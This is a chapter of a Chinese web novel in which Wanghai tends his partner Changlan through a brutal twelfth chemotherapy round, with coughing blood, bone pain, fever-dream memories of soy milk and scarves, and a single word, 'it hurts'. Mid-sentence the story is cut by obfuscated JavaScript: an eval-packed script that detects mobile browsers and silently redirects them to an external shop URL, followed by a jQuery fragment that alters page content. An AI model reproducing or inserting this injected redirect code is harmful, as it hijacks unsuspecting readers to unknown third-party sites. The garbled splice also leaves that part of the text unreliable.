第十二次化疗安排在雨水过后。那天早上，苌斓没有坐在床边等忘海帮他穿袜子——他已经没有力气自己坐起来了。忘海把病床摇起来，让他半靠着，然后蹲下去帮他把袜子一只一只穿好。左脚，右脚，动作很慢，和每一次化疗前一样。苌斓低头看着他，说外面下雨了。忘海看了一眼窗外——细密的雨丝斜斜地打在玻璃上，梧桐树的枝丫被雨水洗得发亮，枝头鼓起了极小的芽苞。他说，雨水过了就是惊蛰，惊蛰过了就是春分，春天快到了。苌斓没有说话，只是把手指放在他头发上极轻极轻地碰了一下。
这一次化疗的药量又加大了。医生说白血病细胞在骨髓里复制的速度比预想的更快，骨癌的疼痛也会随之加剧，而肺结核导致的肺功能下降让很多强效药物都变得格外冒险——有些药伤肝，有些药伤肾，可苌斓的身体已经没有多余的器官可以承担更多损伤了。只能加量，在疗效和毒性之间走钢丝。苌斓靠在病床上，看着三袋不同的药水一滴一滴流进手背的留置针里——一袋是化疗药，透明的；一袋是靶向药，淡黄色的；还有一袋是辅助用药，用来保护肝脏的。他说，以前是一袋，后来是两袋，现在是三袋。下次会不会变成四袋。忘海坐在病床边的椅子上，手里拿着那本翻了很多遍的旧书，说不管几袋，他都在这里。苌斓侧头看着他，说你每次都这么说。忘海翻了一页书，说因为每次都是真的。
药物进入血管之后，三种疾病像约好了似的，同时发起了攻击。
先是肺。苌斓开始剧烈地咳嗽，每一次咳嗽都让他的整个胸腔痉挛着往里收缩，像是有人把一块烧红的铁按进他的肺叶里。他侧躺在病床上蜷着身体，一只手按住胸口，另一只手攥着床单，指节发白。咳出来的痰里带着血丝，从粉红色变成暗红色，再从暗红色变成触目惊心的鲜红。护士给他戴上了氧气面罩，透明的塑料罩子扣在他脸上，里面的雾气随着他每一次呼吸时隐时现。他透过那层雾气看着忘海，眼神很平静，像是在说——你看，它又来了。
然后是骨头。骨癌的疼痛从腰椎开始往上蔓延，沿着脊柱一节一节往上爬，像有一把生锈的锯子嵌进骨髓里来回锯动。每一次心跳都像有人用铁锤在敲他的骨头，从内往外一下一下地砸。苌斓没有出声。他把脸埋进枕头里，咬紧牙关，肩膀轻轻颤抖。他不敢张嘴——怕一张嘴，所有的疼痛就会从喉咙里涌出来，像洪水一样把整间病房淹没。他只能把呻吟压在喉咙里，和以前蜷在床角挨打时一模一样。这个习惯已经刻进骨头里二十多年，哪怕喉咙里塞满了呻吟，他也要把它们一个一个吞回去。
然后是白血病。高烧在傍晚袭来，体温表上的数字窜到快四十度。苌斓开始说胡话，嘴里念着一些破碎的、含糊的字句。忘海凑近去听，听到了几个词——“豆浆……磨三遍……红枣八颗……围巾还没织完……”他在高烧中回到了那些寻常的早晨：豆浆机在响，红枣的甜香弥漫在整个厨房里，两条围巾挂在衣架上，一条深灰一条灰色，分不清哪条是谁的。他以为自己在磨豆浆，以为只是普通的一天——没有化疗，没有疼痛，没有氧气面罩。忘海低下头，把额头抵在苌斓滚烫的太阳穴上，说豆浆磨好了，围巾也织完了，等你睡醒就可以喝了。
到了夜里，苌斓从高烧中短暂地清醒过来。氧气面罩还扣在他脸上，监护仪的滴答声在安静的病房里格外清晰。他慢慢侧过头看着忘海——忘海靠在床边，一只手还握着他的手，另一只手搭在他额头上试温度。他张了张嘴，声音从氧气面罩后面传出来，闷闷的、哑哑的，每一个字都像是从喉咙深处挤出来的。
“疼。”
只有这一个字。他说完这个字之后，嘴唇还在翕动，但后面的话都被喉咙堵住了。他想叫——想喊出来，想放声大哭，想把五脏六腑里的疼痛全部倒出来。可是化疗太多次了，身体已经虚弱到连呻吟都需要积蓄力气。他攒了很久的力气，也只够说这一个字。他说不出哪里疼——肺里疼，骨头痛，血液里每一个变异的细胞都在疼。疼得他想把自己蜷成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724427|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一个小点，疼得他想把骨头一根一根拆出来放在冷水里泡着。可是他喊不出来。他的身体像被灌满了水泥，疼痛是水泥里唯一还在游走的东西，它可以肆意穿行，却始终找不到出口。它们在他体内膨胀、挤压、冲撞，把每一次呼吸都变成一场煎熬，却永远无法从那张紧闭的嘴里逃逸出去。这就是最痛苦的事——不是疼本身，是疼却无法表达，是声音在喉咙里溺死，是求救的手势在抬起来之前就被折断。
忘海俯下身，把苌斓的手贴在自己嘴唇上，轻轻吻了吻他虎口上那道浅白色的旧疤。他说，疼就说疼，不用叫出来，一个字就够了。他知道苌斓说不出来——不是因为不想说，是因为太疼了，疼到语言已经承载不住。就像当初他在天台摔伤后脑勺时，血在雪地上洇开，也只是睁着眼睛看着灰白的天空。他一直都是这样——把所有的疼都压进骨髓里，把所有的声音都吞进肚子里。现在骨髓被癌细胞占满，肚子被药水和毒素填满，疼痛无处可去，只能在身体里乱撞。他做的这些回应也许并不能让疼痛减轻分毫，但至少能让苌斓知道——有人在听。这个字没有掉进海里，它被接住了，被一双温柔的手接住了。
苌斓没有再说话，只是把忘海的手指攥在自己掌心里。他很想告诉忘海——每次他握住自己的手时，疼痛好像就会轻一点。不是真的变轻了，是有人和他一起分担那个重量。可是他说不出来，连这一个字都攒了很久的力气。他只是用拇指在忘海的手背上轻轻划了两下，一下，一下，和很久以前在天台上用指尖写自己的名字时一模一样。这个动作的意思是——我知道你在。
那天深夜，苌斓终于睡着了。氧气面罩还扣在他脸上，呼吸很浅，但还算平稳。忘海靠在床边，一只手还握着他的手，另一只手把那本翻了很多遍的旧书放在膝盖上。书页里夹着去年秋天的梧桐叶、前年春天的玉兰花瓣，还有不知哪一年的银杏叶。窗外雨停了，梧桐树的枝丫在夜风里轻轻晃动，枝头的芽苞被雨水洗过之后透出极淡的绿色。